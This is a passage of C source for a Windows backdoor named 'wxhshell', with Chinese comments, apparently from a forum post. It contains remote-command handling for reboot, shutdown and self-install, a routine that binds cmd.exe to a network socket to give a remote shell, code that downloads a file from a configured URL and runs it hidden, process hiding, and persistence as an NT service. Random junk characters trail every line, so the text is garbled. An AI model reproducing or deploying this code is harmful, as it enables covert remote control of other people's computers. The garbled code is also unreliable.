  case '?': { i&'^9"Z)O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [F V=@NI  
    break; ':2*+  
  } U>B5LU9&  
  // 安装 k5%0wHpk=  
  case 'i': { MV;Y?%>  
    if(Install()) GKsL~;8"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )bCG]OM7<  
    else Rw ao5l=x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >&Ui*  
    break; -}qGb}F8!  
    } bR8 HGH28  
  // 卸载 s8yTK2v2\  
  case 'r': { PxVI {:Uz  
    if(Uninstall()) 6v2RS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;aK !eD$  
    else D.&eM4MZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gQpD]p%k  
    break; mA] 84zO  
    } +?5Uy*$  
  // 显示 wxhshell 所在路径 hzuMTKH9  
  case 'p': { ND55`KT4  
    char svExeFile[MAX_PATH]; o +QzQ+ Z  
    strcpy(svExeFile,"\n\r"); lfpt:5a9&  
      strcat(svExeFile,ExeFile); p`<e~[]a  
        send(wsh,svExeFile,strlen(svExeFile),0); eYD9#y  
    break; !Nxn[^[?.  
    } @F(3*5c_Y  
  // 重启 mp+\!  
  case 'b': { ?Str*XA;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rqb{)L X*  
    if(Boot(REBOOT)) ?4,*RCaI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ubw!/|mi  
    else { R!V5-0%  
    closesocket(wsh); Uygw*+  
    ExitThread(0); w(e+o.:  
    } 2 ) /k`Na  
    break; .iP G/e  
    } %X9:R'~sP  
  // 关机 MNf@HG  
  case 'd': {  fBWJ%W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nvx)H(8F  
    if(Boot(SHUTDOWN)) y5AXL5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =S[FJaIu7  
    else { uRB)g  
    closesocket(wsh); spSN6 .j  
    ExitThread(0); 1y)$[e   
    } eA*Jfb  
    break; v-7Rb )EP  
    } rz[uuY7  
  // 获取shell EDgob^>  
  case 's': { 8W1K3[Jj<  
    CmdShell(wsh); .y;\puNq  
    closesocket(wsh); bDh:!M  
    ExitThread(0); ]lB3qEn<  
    break; .X LV:6  
  } 2*-ENW2  
  // 退出 yjOu]K:X  
  case 'x': { 1W}nYU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kh>SrW]B%  
    CloseIt(wsh); z7@(uIl=X  
    break; Ah"'hFY  
    } 4*D fI  
  // 离开 Kixr6\  
  case 'q': { N&x WHFn]C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DQ n`@  
    closesocket(wsh); )ZgER[  
    WSACleanup(); x8pbO[_|  
    exit(1); S`W'G&bCj  
    break; a$xeiy9  
        } iKF$J3a\2f  
  } dY4k9p8  
  } iBtjd`V*  
 [`hE^chd  
  // 提示信息 {#w A !>.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6m-:F.k1(  
} rt3f7 s*  
  } f- k|w%R@  
{ /F rs*AF  
  return; Mf ;|z0UX  
} Uaus>Frx.T  
=YXe1$ $  
// shell模块句柄 U=&^H!LVY  
int CmdShell(SOCKET sock) 4[LLnF--  
{ ElEv(>G*  
STARTUPINFO si; #LN5&i;s  
ZeroMemory(&si,sizeof(si)); !sfXq"F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8z."X$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7|+|\ 7l#  
PROCESS_INFORMATION ProcessInfo; ,TKs/-_?  
char cmdline[]="cmd"; [w&#+h-q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O2`oe4."vd  
  return 0; JGk3 b=K  
} f.aB?\"f6  
Uw2,o|=O  
// 自身启动模式 #K :-Bys5v  
int StartFromService(void) $S6HZG:N  
{ }XGMa?WR  
typedef struct Z{,GZT  
{ 3wN?|N  
  DWORD ExitStatus; Yo~LckFF  
  DWORD PebBaseAddress; "wnpiB}  
  DWORD AffinityMask; }pl]9  
  DWORD BasePriority; ? fbgU  
  ULONG UniqueProcessId; @pF fpHq?>  
  ULONG InheritedFromUniqueProcessId; 5|<yfk8*J  
}   PROCESS_BASIC_INFORMATION; eK Z@ FEZ  
C%}]"0Q1  
PROCNTQSIP NtQueryInformationProcess; &dhcKO<4  
%Y cxC0S[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h&=O-5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GSMk\9SI  
P+)qE6\  
  HANDLE             hProcess; &=F-moDD  
  PROCESS_BASIC_INFORMATION pbi; zb>f;[  
[%j?.N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?a'6EAErC  
  if(NULL == hInst ) return 0; <*s"e)XeqF  
^[{`q9A#d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  G"o!}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {fGd:2dh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \H Wcd|  
EJf#f  
  if (!NtQueryInformationProcess) return 0; :]P~.PD5,  
_BZ1Vnv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CQ6'b,L&   
  if(!hProcess) return 0; .]W ;2G  
?S (im  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h>}ax\h  
H~A"C'P3#  
  CloseHandle(hProcess); _iG2J&1'L  
r4O|()  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /y}"M  
if(hProcess==NULL) return 0; Y3#Nux%  
6g5PM4\  
HMODULE hMod; QWrIa1.JC  
char procName[255]; j$3rJA%rN  
unsigned long cbNeeded; %KGq*|GUu  
si_W:mLF{a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z[",$Lt  
21r= = H$  
  CloseHandle(hProcess); T vrk^!  
(GCG/8s  
if(strstr(procName,"services")) return 1; // 以服务启动 Iz DG&c  
?Bo?JMV  
  return 0; // 注册表启动 OF c\fW#  
} ojHhT\M`  
!Y ( apVQ  
// 主模块 t#C,VwMe[  
int StartWxhshell(LPSTR lpCmdLine) !Eq#[Gs  
{ <d5@CA+M  
  SOCKET wsl; o^3FL||P#r  
BOOL val=TRUE; 9<yAQ?7 L  
  int port=0; rh@r\ H@j  
  struct sockaddr_in door; rwiw Rh  
C:]s;0$3'9  
  if(wscfg.ws_autoins) Install(); =M7TCE  
EXuLSzQwv  
port=atoi(lpCmdLine); MkwU<ae AB  
lC0~c=?J  
if(port<=0) port=wscfg.ws_port; Q"40#RFA  
O~V1Ywfq7^  
  WSADATA data; qu_)`wB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u*2fP]n  
kw*)/$5]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pet~[e%!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JIzY,%`\  
  door.sin_family = AF_INET; }91*4@B7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AXs=1  e  
  door.sin_port = htons(port); 5iVQc-m&  
$9 K(F~/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pz{'1\_+9  
closesocket(wsl); )zU:  
return 1; ]*qU+&  
} axmsrj W#  
LheFQ A  
  if(listen(wsl,2) == INVALID_SOCKET) { $.pTB(tO  
closesocket(wsl); NmJ`?-Z  
return 1; OTj,O77k  
} ._?V%/  
  Wxhshell(wsl); %SAw;ZtQ:  
  WSACleanup(); `Oq M8U @  
;j{7!GeKa  
return 0; lwc5S `"  
we3tx{j  
} hq=,Z1J  
#ly@;!M  
// 以NT服务方式启动 OF[?Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mzWP8Hlw  
{ l _+6=u  
DWORD   status = 0; O sQkA2=  
  DWORD   specificError = 0xfffffff; #uSK#>H_!  
.wmnnvtl,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wd[eJcQ,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a d9CsvW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4WC9US-k  
  serviceStatus.dwWin32ExitCode     = 0; C-m*?))go  
  serviceStatus.dwServiceSpecificExitCode = 0; `5q ;ssu  
  serviceStatus.dwCheckPoint       = 0; yEq#Dr  
  serviceStatus.dwWaitHint       = 0; *^] ~RhjB  
)tS-.PrA-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .h4\{|  
  if (hServiceStatusHandle==0) return;  4*TmlY  
qTT,U9]:  
status = GetLastError(); ` J]xP$)  
  if (status!=NO_ERROR) WF2NG;f=  
{ rAb&I"\ZY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >O#grDXb  
    serviceStatus.dwCheckPoint       = 0; 24u x  
    serviceStatus.dwWaitHint       = 0; iXFP5a>|  
    serviceStatus.dwWin32ExitCode     = status; 7\ypW$Ot  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gh}yb-$N`&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o:"anHs  
    return; :P$#MC  
  } 6.5wZN9<|  
=>|C~@C?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PFM' & ;V  
  serviceStatus.dwCheckPoint       = 0; }XR : 2  
  serviceStatus.dwWaitHint       = 0; .m;G$X|3U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z o=]dBp.  
} +pf5\#l?  
6?qDdVR~]  
// 处理NT服务事件,比如:启动、停止 m} 3gZu]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s =Umj'1k  
{ ?<U{{ C  
switch(fdwControl) KL [ek  
{ 5|I55CTx  
case SERVICE_CONTROL_STOP: h1[WhBL-O  
  serviceStatus.dwWin32ExitCode = 0; c)}2K0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #aar9  
  serviceStatus.dwCheckPoint   = 0; &H||&Z[pk  
  serviceStatus.dwWaitHint     = 0; M6rc!K  
  { Qd &" BEs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o31Nmy Ni  
  } `y^sITr  
  return; -F\qnsZ2  
case SERVICE_CONTROL_PAUSE: %0,-.(h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +oc >S  
  break; jjzA .8?(7  
case SERVICE_CONTROL_CONTINUE: ]]0,|My7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6G AaV[])'  
  break; n6MM5h/#r  
case SERVICE_CONTROL_INTERROGATE: `_vB+a  
  break; ka"337H  
}; ~rD={&0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?F7o!B  
} C/=XuKE-t  
+G F#?X0^  
// 标准应用程序主函数 'zZcn" +!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $w#r"= )  
{ #!2k<Q*5uT  
G8Z4J7^  
// 获取操作系统版本 i3VW1~.8  
OsIsNt=GetOsVer(); S'LZk9E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )IL #>2n?  
.8WXC   
  // 从命令行安装 ({^9<Us  
  if(strpbrk(lpCmdLine,"iI")) Install(); e>}}:Ud  
\ HZ9S=  
  // 下载执行文件 "TcW4U9  
if(wscfg.ws_downexe) { Ge+0-I6Ju  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )$ Mmn  
  WinExec(wscfg.ws_filenam,SW_HIDE); B,WTHU[AV  
} BvD5SBa}"  
tV;`fV   
if(!OsIsNt) { Y&HK1>M_  
// 如果时win9x,隐藏进程并且设置为注册表启动 o%E;3l  
HideProc(); uI~S=;o  
StartWxhshell(lpCmdLine); 3+Qxg+<  
} en F:>H4  
else (1R?s>3o  
  if(StartFromService()) Z8#Gwyinx  
  // 以服务方式启动 S8d8%R~1=h  
  StartServiceCtrlDispatcher(DispatchTable); 5kypMHJm  
else nmU_N:Y  
  // 普通方式启动 Lw1EWN6}_&  
  StartWxhshell(lpCmdLine); V'Kgdj  
A3N]8?D  
return 0; P>ceeoYQuA  
}
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只看该作者 1 发表于: 2006-10-10
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